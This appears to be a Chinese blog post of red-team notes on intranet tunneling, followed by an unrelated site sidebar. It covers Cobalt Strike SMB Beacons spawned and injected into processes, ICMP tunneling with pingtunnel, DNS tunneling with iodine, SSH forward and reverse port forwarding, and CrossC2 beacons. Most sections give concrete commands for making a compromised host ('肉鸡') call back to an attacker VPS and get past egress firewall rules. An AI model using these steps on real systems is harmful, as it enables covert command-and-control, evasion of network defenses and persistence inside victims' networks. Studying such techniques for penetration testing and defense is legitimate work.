【内网安全-隧道技术】SMB、ICMP、DNS隧道、SSH协议

简介: 【内网安全-隧道技术】SMB、ICMP、DNS隧道、SSH协议

一、基础知识


【内网安全-基础】基础知识、信息收集、工具

https://blog.csdn.net/qq_53079406/article/details/128292587?spm=1001.2014.3001.5501

【内网安全-防火墙】防火墙、协议、策略

https://blog.csdn.net/qq_53079406/article/details/128314938?spm=1001.2014.3001.5501

【内网安全-通讯&上线】通讯&上线基础知识

https://blog.csdn.net/qq_53079406/article/details/128320574?spm=1001.2014.3001.5501


二、隧道技术


1、简介:


1)是路由器把一种网络层协议封装到另一个协议中以跨过网络传送到另一个路由器的处理过程

————


2)隧道技术是一种数据包封装技术,它是将原始IP包(其报头包含原始发送者和最终目的地)封装在另一个数据包(称为封装的IP包)的数据净荷中进行传输

————


3)隧道技术上线:

HTTP/S & DNS & SSH & ICMP & SMB & 协议穿透等

除去SMB隧道外,其他隧道技术大部分针对的出站策略绕过(也就是最终传输的地方会转会原本的协议)


2、SMB隧道


1)SMB(全称是Server Message Block)是一个网络协议名,它能被用于Web连接和客户端与服务器之间的信息沟通


#判断:445端口


————


2)上线条件


1、目标主机(SMB Beacon)接受 445 端口连接(因此445端口成为判断能否使用的方法)

2、Beacon只能链接由同一个 CS生成的

3、具有管理员权限或管理员凭据

————


3)使用(工具cs)

1、创建SMB Beacon 监听器、生成木马

(用Windows可执行程序E,这里我试了试没用过的选项,stageless意为没有舞台)

d87c084da58a4489b973c1a650bf7940.png


f423035ae03e493286fd085ad43e2cbd.png

1fa9993083a44044951005c840894452.png


2、派生会话SMB Beacon(右键选中HTTP监听器上线的主机,进入Beacon控制台,输入spawn加SMB Beacon的监听器名称)


(预计process为rundll32.exe的主机会派生会话)

0df386fa33bd48a5aab18dd135f20ad5.png


(结果:新产生一个process为beacon.exe的派生会话)



3、注入进程上线SMB Beacon(将SMB Beacon注入到某个进程中;右键--目标--进程列表--Inject--选中Beacon)


(预计最后SMB Beacon,process会变为phpstudy的进程 )

5e47a404ad6f4cd0a179d09285ff8587.png


开了phpstudy做测试

9764eebb90d649f88ea5338da218faa5.png


(结果新产生了一个process为beacon.exe的)

0c97c7f8a549487ba476925769d233d1.png


3、ICMP隧道


1)ICMP隧道技术是一种数据包封装技术,它是将原始IP包封装在ICMP的数据净荷中进行传输(传到接收方的时候,再变回Tcp)


#判断:ping命令(ping命令waf、防火墙不屏蔽情况下可以穿透)

————


2)在ICMP通信协议中,通信双方不需要开放端口( ping 命令)

———


3)ICMP协议项目:

https://github.com/esrrhs/spp

https://github.com/bdamele/icmpsh

https://github.com/esrrhs/pingtunnel

———

4)使用:

VPS:

./pingtunnel -type server


148ff74acda44fcda225364675060c54.png


(出现问题: ./ping 隧道: 拒绝许可)

肉鸡:

管理器运行(ICMP程序)

pingtunnel.exe -type client -l 127.0.0.1:6666 -s 192.168.46.66 -t 192.168.46.66:7777 -tcp 1 -noprint 1 -nolog 1(此处,监听本地6666端口,并转发到指定ip的7777端口)

——

CS:

监听器1:127.0.0.1 6666

监听器2:192.168.46.66 7777

生成监听器1的Stager后门肉鸡执行


4、DNS隧道


1)DNS:为了访问互联网和内网资源,DNS提供域名解析服务,将域名和IP地址进行转换

————


2)DNS隧道是将其他协议的内容封装在DNS协议中,然后以DNS请求和响应包完成传输数据(通信)的技术。当前网络世界中的DNS是一项必不可少的服务,所以防火墙和入侵检测设备将很难做到完全过滤掉DNS流量

#判断:nslookup dig

————


#工具:https://github.com/yarrick/iodine


iodine原理:通过TAP虚拟网卡,在服务端建立起一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一个局域网。在客户端和服务端之间建立连接后,客户机上会多出一块名为dns0的虚拟网卡

————


3)上线条件:


1、内网主机出网DNS协议数据

2、域名申请及配置

3、监听器创建及配置

4、后门绑定监听器及生成

———


4)上线:

1、内网主机出网DNS协议数据(解决通讯)

工具:https://github.com/yarrick/iodine

判断出网:nslookup www.baidu.com

——


2、服务器:设置密码并创建虚拟IP及绑定域名指向

iodined -f -c -P 密码 192.168.0.1 ns1.域名 -DD

设置密码并创建虚拟IP及绑定域名指向

——


3、客户端:连接密码并绑定域名指向

iodine -f -M 200 -P 密码 ns1.域名

-尝试通讯尝试连接:

ssh root@192.168.0.2


5、SSH协议


1)安全外壳协议(Secure Shell,简称SSH)是一种在不安全网络上用于安全远程登录和其他安全网络服务的协议

————

2)CS无SSH协议监听器配置,无法上线

————

3)通讯(SSH协议存在于Linux系统,跳板机必须Linux):


iptables -F /* 清除所有规则 */
iptables -A INPUT -p tcp --dport 22 -j ACCEPT /*允许包从22端口进入*/
iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT /*允许从22端口进入的包返回*/
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT /* 域名解析端口,一般不开 */
iptables -A INPUT -p udp --sport 53 -j ACCEPT /* 域名解析端口,一般不开 */
iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT /*允许本机访问本机*/
iptables -A OUTPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp -s 0/0 --dport 80 -j ACCEPT /*允许所有IP访问80端口*/
iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT
iptables-save > /etc/sysconfig/iptables /*保存配置*/
iptables -L /* 显示iptables列表 */
开启ssh协议登录:
vi /etc/ssh/sshd_config
PermitRootLogin yes
PasswordAuthentication yes
/etc/init.d/ssh start
/etc/init.d/ssh restart
本地:出站封
ssh -CfNg -L 1122:192.168.1.15:8080 root@192.168.1.166
curl http://127.0.0.1:1122
远程:入站封
ssh -CfNg -R 1234:192.168.1.15:8080 root@IP地址
curl http://127.0.0.1:1234

6、控制上线-插件

https://github.com/gloxec/CrossC2


面向Linux Mac IOS Android系统上线支持


————


目前版本只支持反向的https和正向的tcp

1、下载对应版本加载器和CNA插件

2、上传加载器文件和本地加载CNA插件

3、修改CNA插件配置路径及上传Key文件

4、使用命令或插件绑定HTTPS监听器生成


7d62be979184459ab44139ed85f387fe.png

目录
相关文章
|
29天前
|
存储 传感器 安全
【串口通信】使用C++和Qt设计和实现串口协议解析器(二)
【串口通信】使用C++和Qt设计和实现串口协议解析器
46 0
|
29天前
|
存储 开发框架 算法
【串口通信】使用C++和Qt设计和实现串口协议解析器(一)
【串口通信】使用C++和Qt设计和实现串口协议解析器
84 0
|
3月前
|
域名解析 网络协议
IP协议, TCP协议 和DNS 服务分别是干什么的?
IP协议, TCP协议 和DNS 服务分别是干什么的?
233 0
|
3月前
|
缓存 网络协议 安全
【网络工程师】<软考中级>解析协议ARP&路由协议RIP/OSPF/BGP
【1月更文挑战第27天】【网络工程师】<软考中级>解析协议ARP&路由协议RIP/OSPF/BGP
|
6天前
|
域名解析 网络协议 Linux
TCP/IP协议及配置、IP地址、子网掩码、网关地址、DNS与DHCP介绍
TCP/IP协议及配置、IP地址、子网掩码、网关地址、DNS与DHCP介绍
|
1月前
|
编解码 移动开发 C++
RTMP协议深度解析:从原理到实践,掌握实时流媒体传输技术
RTMP协议深度解析:从原理到实践,掌握实时流媒体传输技术
89 0
RTMP协议深度解析:从原理到实践,掌握实时流媒体传输技术
|
1月前
|
安全 算法 Linux
SSH协议的原理和使用:深入剖析SSH协议的原理和使用方法
SSH协议的原理和使用:深入剖析SSH协议的原理和使用方法
75 0
|
1月前
|
存储 安全 网络安全
Git 安全远程访问:SSH 密钥对生成、添加和连接步骤解析
SSH(Secure Shell)是一种用于安全远程访问的协议,它提供了加密通信和身份验证机制。在使用 SSH 连接到远程 Git 存储库时,您可以使用 SSH 密钥对来确保安全性。以下是关于如何生成和使用 SSH 密钥对的详细步骤: 生成 SSH 密钥对
103 2
|
1月前
|
存储 弹性计算 算法
SSH学习(三)- SSH协议中的Public Key Algorithm
在SSH协议中,有两个地方涉及到公钥算法,分别是: 1. 服务端认证:服务端在进行密钥协商的时候证明自己身份,防止中间人攻击,此时为SSH-TRANS协议发生的事情; 2. 客户端认证:客户端通过PublicKey方式证明自己身份,完成SSH登录认证,此时SSH-USERAUTH发生的事情; 这两种情况下的公钥算法使用的是同一个概念,接下来本文将主要基于PublicKey公钥认证方式,学习对应的内容。
44 1
SSH学习(三)- SSH协议中的Public Key Algorithm
|
1月前
|
网络协议 数据格式

热门文章

最新文章

相关产品

  • 云解析DNS
  • 推荐镜像

    更多